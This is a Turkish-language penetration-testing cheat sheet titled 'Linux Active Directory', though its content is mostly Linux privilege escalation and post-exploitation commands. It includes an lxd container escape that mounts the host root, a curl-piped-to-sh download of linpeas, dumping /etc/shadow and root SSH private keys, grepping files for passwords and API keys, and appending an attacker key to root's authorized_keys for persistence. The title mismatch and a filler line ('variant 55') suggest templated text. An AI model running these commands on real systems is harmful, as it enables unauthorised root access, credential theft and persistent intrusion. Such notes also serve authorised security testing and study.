Linux Active Directory
linux ad
Linux Active Directory Linux yerel yükseltme / post-erişim notudur. Amaç rastgele exploit değil; izin, SUID, capability, cron/systemd ve yazılabilir yolları enumerasyonla çıkarıp kanıtlanabilir root shell üretmek. Domain’de BloodHound yolu + Kerberos/ACL/Cert zinciri birlikte okunur.
Metodoloji
Section titled “Metodoloji”-
Kimlik, kernel, sudo -l, SUID/cap ve dinleyen portları çıkar.
-
Linux Active Directoryile ilgili yazılabilir config/binary/timer/group yüzeyini doğrula. -
Primitifi PoC ile root veya eşdeğer yetkiye çevir.
-
Shadow/SSH/history loot al; pivot notunu yaz.
Durum envanteri
Section titled “Durum envanteri”Linux Active Directory için önce kimlik, kernel, sudo ve SUID yüzeyini kilitle. Enum çıktısı sonraki hipotezleri besler; kör exploit denemeden önce harita çıkar.
id; whoami; hostnameuname -acat /etc/os-releasesudo -l 2>/dev/nullfind / -perm -4000 -type f 2>/dev/nullgetcap -r / 2>/dev/nullps auxwwss -lntpcat /etc/crontab; ls -la /etc/cron.* /var/spool/cron 2>/dev/nullenv | sortKimlik / grup / SSH
Section titled “Kimlik / grup / SSH”SSH agent forward, özel gruplar (lxd/docker) ve PAM zinciri sık yükseltme üretir.
id; groups; cat /etc/group | rg 'docker|lxd|disk|adm|sudo'env | rg -i 'SSH|SSH_AUTH'ls -la $SSH_AUTH_SOCK /tmp/ssh-* 2>/dev/nullssh-add -lssh -A user@TARGETlxc image import alpine.tar.gz --alias evil 2>/dev/nulllxc init evil privesc -c security.privileged=truelxc config device add privesc host-root disk source=/ path=/mnt/root recursive=truelxc start privesc; lxc exec privesc -- /bin/shcat /etc/pam.d/* 2>/dev/null | head -n 80Yazılabilir yollar ve otomatik enum
Section titled “Yazılabilir yollar ve otomatik enum”find / -writable -type d 2>/dev/null | head -n 60find /home /opt /var/www /tmp -type f -readable 2>/dev/null | head -n 40ls -la /etc/passwd /etc/shadow /etc/sudoers 2>/dev/nullcurl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | shpspy64 -pfRoot sonrası loot
Section titled “Root sonrası loot”cat /etc/shadowls -la /root/.ssh; cat /root/.ssh/id_* 2>/dev/nullfind / -name '*.kdbx' -o -name '*id_rsa*' 2>/dev/null | headhistory -a; cat /root/.bash_history ~/.bash_history 2>/dev/null | tailsshd -T 2>/dev/null | headManuel doğrulama komutları
Section titled “Manuel doğrulama komutları”# Linux Active Directory — hedefe özel varyant 55ls -la /tmp /dev/shm /var/tmpfind /var/log -type f -readable 2>/dev/null | headgrep -Rni 'password\|passwd\|secret\|api_key' /home /opt /var/www 2>/dev/null | head -n 40lsattr -a /etc/passwd /etc/shadow 2>/dev/nullcat /etc/fstab; mount | rg 'noexec|nosuid|nodev'iptables -L -n 2>/dev/null | head; nft list ruleset 2>/dev/null | headlast -a | head; w; whofind / -name '*.bak' -o -name '*pass*' 2>/dev/null | head -n 30python3 -c 'import pty; pty.spawn("/bin/bash")'Stabilize shell
Section titled “Stabilize shell”script -qc /bin/bash /dev/nullexport TERM=xterm; stty rows 40 columns 120ssh-keygen -t ed25519 -f /tmp/k -N ''echo $(cat /tmp/k.pub) >> /root/.ssh/authorized_keys # root sonrasıChecklist
Section titled “Checklist”[ ] id/uname/sudo -l alındı[ ] SUID/cap/cron/systemd tarandı[ ] Yazılabilir config/binary doğrulandı[ ] Privesc PoC ile root kanıtlandı[ ] Credential/SSH loot paketlendiNotlar
Section titled “Notlar”Linux Active Directory sonuçları sürüm, yapılandırma ve koruma katmanına göre değişir. Komutları hedefe göre uyarla; başarılı zinciri adım adım kaydet.